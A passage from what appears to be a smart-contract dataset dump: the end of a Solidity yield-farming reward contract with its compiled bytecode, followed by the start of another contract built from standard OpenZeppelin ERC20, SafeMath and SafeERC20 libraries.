HALVING_AT_BLOCK[i]; if (_to <= endBlock) { uint256 m = _to.sub(_from).mul(REWARD_MULTIPLIER[i]); return result.add(m); } if (_from < endBlock) { uint256 m = endBlock.sub(_from).mul(REWARD_MULTIPLIER[i]); _from = endBlock; result = result.add(m); } } return result; } function getPoolReward(uint256 _from, uint256 _to, uint256 _allocPoint) public view returns (uint) { uint256 multiplier = getMultiplier(_from, _to); uint256 amount = (multiplier.mul(REWARD_PER_BLOCK).mul(_allocPoint).div(totalAllocPoint)).div(100); uint256 amountCanMint = bBeta.farmingAmount(); return amountCanMint < amount ? amountCanMint : amount; } function getRewardPerBlock(uint256 pid1) public view returns (uint256) { uint256 multiplier = getMultiplier(block.number -1, block.number); if (pid1 == 0) { return (multiplier.mul(REWARD_PER_BLOCK)).div(100); } else { return (multiplier .mul(REWARD_PER_BLOCK) .mul(poolInfo[pid1 - 1].allocPoint) .div(totalAllocPoint)) .div(100); } } function pendingReward(uint256 _pid, address _user) public view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 rewardPerShare = pool.rewardPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply > 0) { uint256 reward = getPoolReward(pool.lastRewardBlock, block.number, pool.allocPoint); rewardPerShare = rewardPerShare.add(reward.mul(1e12).div(lpSupply)); } return user.amount.mul(rewardPerShare).div(1e12).sub(user.rewardDebt); } function poolLength() public view returns (uint256) { return poolInfo.length; } function getStakedAmount(uint _pid, address _user) public view returns (uint256) { UserInfo storage user = userInfo[_pid][_user]; return user.amount; } }
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c8063715018a6116100f957806398969e8211610097578063c8ed768011610071578063c8ed768014610463578063ce2529c91461048c578063e2bbb158146104b2578063f2fde38b146104d5576101a9565b806398969e82146104125780639ca5f20e1461043e578063ae169a5014610446576101a9565b80638dbb1e3a116100d35780638dbb1e3a1461039a57806393f1a40b146103bd578063975532dc14610402578063980c2a981461040a576101a9565b8063715018a6146103515780637b550bc9146103595780638da5cb5b14610376576101a9565b80633a71ede81161016657806351eb05a61161014057806351eb05a6146102e45780635312ea8e14610301578063630b5ba11461031e57806364482f7914610326576101a9565b80633a71ede8146102785780634179b4fb146102a4578063441a3e70146102c1576101a9565b8063081e3eda146101ae5780631526fe27146101c857806317caf6f1146102155780631eaaa0451461021d5780632fda77351461025357806339b3e82614610270575b600080fd5b6101b66104fb565b60408051918252519081900360200190f35b6101e5600480360360208110156101de57600080fd5b5035610501565b604080516001600160a01b0390951685526020850193909352838301919091526060830152519081900360800190f35b6101b6610542565b6102516004803603606081101561023357600080fd5b508035906001600160a01b0360208201351690604001351515610548565b005b6101b66004803603602081101561026957600080fd5b5035610791565b6101b66107af565b6101b66004803603604081101561028e57600080fd5b50803590602001356001600160a01b03166107b5565b6101b6600480360360208110156102ba57600080fd5b50356107df565b610251600480360360408110156102d757600080fd5b50803590602001356107ec565b610251600480360360208110156102fa57600080fd5b503561094b565b6102516004803603602081101561031757600080fd5b5035610ad6565b610251610b71565b6102516004803603606081101561033c57600080fd5b50803590602081013590604001351515610b94565b610251610c6f565b6101b66004803603602081101561036f57600080fd5b5035610d1b565b61037e610da4565b604080516001600160a01b039092168252519081900360200190f35b6101b6600480360360408110156103b057600080fd5b5080359060200135610db3565b6103e9600480360360408110156103d357600080fd5b50803590602001356001600160a01b0316610e91565b6040805192835260208301919091528051918290030190f35b6101b6610eb5565b6101b6610ebb565b6101b66004803603604081101561042857600080fd5b50803590602001356001600160a01b0316610ec1565b61037e611001565b6102516004803603602081101561045c57600080fd5b5035611010565b6101b66004803603606081101561047957600080fd5b508035906020810135906040013561101b565b6101b6600480360360208110156104a257600080fd5b50356001600160a01b03166110ec565b610251600480360360408110156104c857600080fd5b50803590602001356110fe565b610251600480360360208110156104eb57600080fd5b50356001600160a01b0316611210565b60075490565b6007818154811061050e57fe5b600091825260209091206004909102018054600182015460028301546003909301546001600160a01b039092169350919084565b600a5481565b6105506113c5565b6001600160a01b0316610561610da4565b6001600160a01b0316146105aa576040805162461bcd60e51b81526020600482018190526024820152600080516020611a28833981519152604482015290519081900360640190fd5b6001600160a01b038216610605576040805162461bcd60e51b815260206004820152601f60248201527f62426574614d61737465723a3a6164643a2077726f6e67206c70746f6b656e00604482015290519081900360640190fd5b6001600160a01b0382166000908152600860205260409020541561065a5760405162461bcd60e51b81526004018080602001828103825260278152602001806119ba6027913960400191505060405180910390fd5b801561066857610668610b71565b6000600654431161067b5760065461067d565b435b600a5490915061068d908561136b565b600a55600780546001600160a01b03948516600081815260086020908152604080832060019586019055805160808101825293845290830198895282019485526060820181815284549384018555939052517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c688600490920291820180546001600160a01b031916919096161790945593517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c689840155517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68a8301555090517fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c68b90910155565b6003818154811061079e57fe5b600091825260209091200154905081565b60065481565b60008281526009602090815260408083206001600160a01b03851684529091529020545b92915050565b6004818154811061079e57fe5b6000600783815481106107fb57fe5b60009182526020808320868452600982526040808520338652909252922080546004909202909201925083111561086e576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b6108778461094b565b60006108b182600101546108ab64e8d4a510006108a58760030154876000015461131290919063ffffffff16565b906113c9565b90611430565b905080156108c3576108c3338261148d565b83156108ed5781546108d59085611430565b825582546108ed906001600160a01b0316338661161e565b600383015482546109089164e8d4a51000916108a591611312565b6001830155604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35050505050565b60006007828154811061095a57fe5b906000526020600020906004020190508060020154431161097b5750610ad3565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109c557600080fd5b505afa1580156109d9573d6000803e3d6000fd5b505050506040513d60208110156109ef57600080fd5b5051905080610a05575043600290910155610ad3565b6000610a1a836002015443856001015461101b565b905080610a2f57505043600290910155610ad3565b600154604080516340c10f1960e01b81523060048201526024810184905290516001600160a01b03909216916340c10f199160448082019260009290919082900301818387803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b50505050610ac4610ab9836108a564e8d4a510008561131290919063ffffffff16565b60038501549061136b565b60038401555050436002909101555b50565b600060078281548110610ae557fe5b60009182526020808320858452600982526040808520338087529352909320805460049093029093018054909450610b2a926001600160a01b0391909116919061161e565b80546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a360008082556001909101555050565b60075460005b81811015610b9057610b888161094b565b600101610b77565b5050565b610b9c6113c5565b6001600160a01b0316610bad610da4565b6001600160a01b031614610bf6576040805162461bcd60e51b81526020600482018190526024820152600080516020611a28833981519152604482015290519081900360640190fd5b8015610c0457610c04610b71565b610c4182610c3b60078681548110610c1857fe5b906000526020600020906004020160010154600a5461143090919063ffffffff16565b9061136b565b600a819055508160078481548110610c5557fe5b906000526020600020906004020160010181905550505050565b610c776113c5565b6001600160a01b0316610c88610da4565b6001600160a01b031614610cd1576040805162461bcd60e51b81526020600482018190526024820152600080516020611a28833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080610d2b6001430343610db3565b905082610d5457610d4c60646108a56002548461131290919063ffffffff16565b915050610d9f565b610d4c60646108a5600a546108a560076001890381548110610d7257fe5b906000526020600020906004020160010154610d996002548861131290919063ffffffff16565b90611312565b919050565b6000546001600160a01b031690565b6006546000908190841015610dcc5760009150506107d9565b60005b600454811015610e8957600060048281548110610de857fe5b90600052602060002001549050808511610e3b576000610e2460038481548110610e0e57fe5b600091825260209091200154610d99888a611430565b9050610e30848261136b565b9450505050506107d9565b80861015610e80576000610e6b60038481548110610e5557fe5b600091825260209091200154610d99848a611430565b91965086919050610e7c848261136b565b9350505b50600101610dcf565b509392505050565b60096020908152600092835260408084209091529082529020805460019091015482565b60025481565b60055481565b60008060078481548110610ed157fe5b600091825260208083208784526009825260408085206001600160a01b03898116875290845281862060049586029093016003810154815484516370a0823160e01b81523098810198909852935191985093969395939492909116926370a08231926024808301939192829003018186803b158015610f4f57600080fd5b505afa158015610f63573d6000803e3d6000fd5b505050506040513d6020811015610f7957600080fd5b5051600285015490915043118015610f915750600081115b15610fce576000610fab856002015443876001015461101b565b9050610fca610fc3836108a58464e8d4a51000611312565b849061136b565b9250505b610ff683600101546108ab64e8d4a510006108a586886000015461131290919063ffffffff16565b979650505050505050565b6001546001600160a01b031681565b610ad38160006110fe565b6000806110288585610db3565b9050600061105060646108a5600a546108a588610d996002548961131290919063ffffffff16565b90506000600160009054906101000a90046001600160a01b03166001600160a01b031663de60b89c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110a257600080fd5b505afa1580156110b6573d6000803e3d6000fd5b505050506040513d60208110156110cc57600080fd5b505190508181106110dd57816110df565b805b93505050505b9392505050565b60086020526000908152604090205481565b60006007838154811061110d57fe5b6000918252602080832086845260098252604080852033865290925292206004909102909101915061113e8461094b565b80541561118757600061117382600101546108ab64e8d4a510006108a58760030154876000015461131290919063ffffffff16565b9050801561118557611185338261148d565b505b82156111b35781546111a4906001600160a01b0316333086611670565b80546111b0908461136b565b81555b600382015481546111ce9164e8d4a51000916108a591611312565b6001820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b6112186113c5565b6001600160a01b0316611229610da4565b6001600160a01b031614611272576040805162461bcd60e51b81526020600482018190526024820152600080516020611a28833981519152604482015290519081900360640190fd5b6001600160a01b0381166112b75760405162461bcd60e51b81526004018080602001828103825260268152602001806119946026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082611321575060006107d9565b8282028284828161132e57fe5b04146110e55760405162461bcd60e51b8152600401808060200182810382526021815260200180611a076021913960400191505060405180910390fd5b6000828201838110156110e5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b3390565b600080821161141f576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161142857fe5b049392505050565b600082821115611487576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156114d857600080fd5b505afa1580156114ec573d6000803e3d6000fd5b505050506040513d602081101561150257600080fd5b5051905080821115611596576001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561156457600080fd5b505af1158015611578573d6000803e3d6000fd5b505050506040513d602081101561158e57600080fd5b506116199050565b6001546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018690529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156115ec57600080fd5b505af1158015611600573d6000803e3d6000fd5b505050506040513d602081101561161657600080fd5b50505b505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526116199084906116d0565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526116ca9085906116d0565b50505050565b6060611725826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166117819092919063ffffffff16565b8051909150156116195780806020019051602081101561174457600080fd5b50516116195760405162461bcd60e51b815260040180806020018281038252602a815260200180611a48602a913960400191505060405180910390fd5b60606117908484600085611798565b949350505050565b6060824710156117d95760405162461bcd60e51b81526004018080602001828103825260268152602001806119e16026913960400191505060405180910390fd5b6117e2856118e9565b611833576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106118725780518252601f199092019160209182019101611853565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146118d4576040519150601f19603f3d011682016040523d82523d6000602084013e6118d9565b606091505b5091509150610ff68282866118ef565b3b151590565b606083156118fe5750816110e5565b82511561190e5782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611958578181015183820152602001611940565b50505050905090810190601f1680156119855780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737362426574614d61737465723a3a6164643a206c7020697320616c726561647920696e20706f6f6c416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220cb303078c41b345abac898d6e5e817e20cd601191230fc34eca90166f45b707964736f6c634300060c0033
[ 16, 7, 9 ]
0xF2F9889E797D2aADdc234F4f3027C62C28165AF4
// SPDX-License-Identifier: Unlicense pragma solidity 0.6.12; /* Powered by PrismNetwork.io */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. 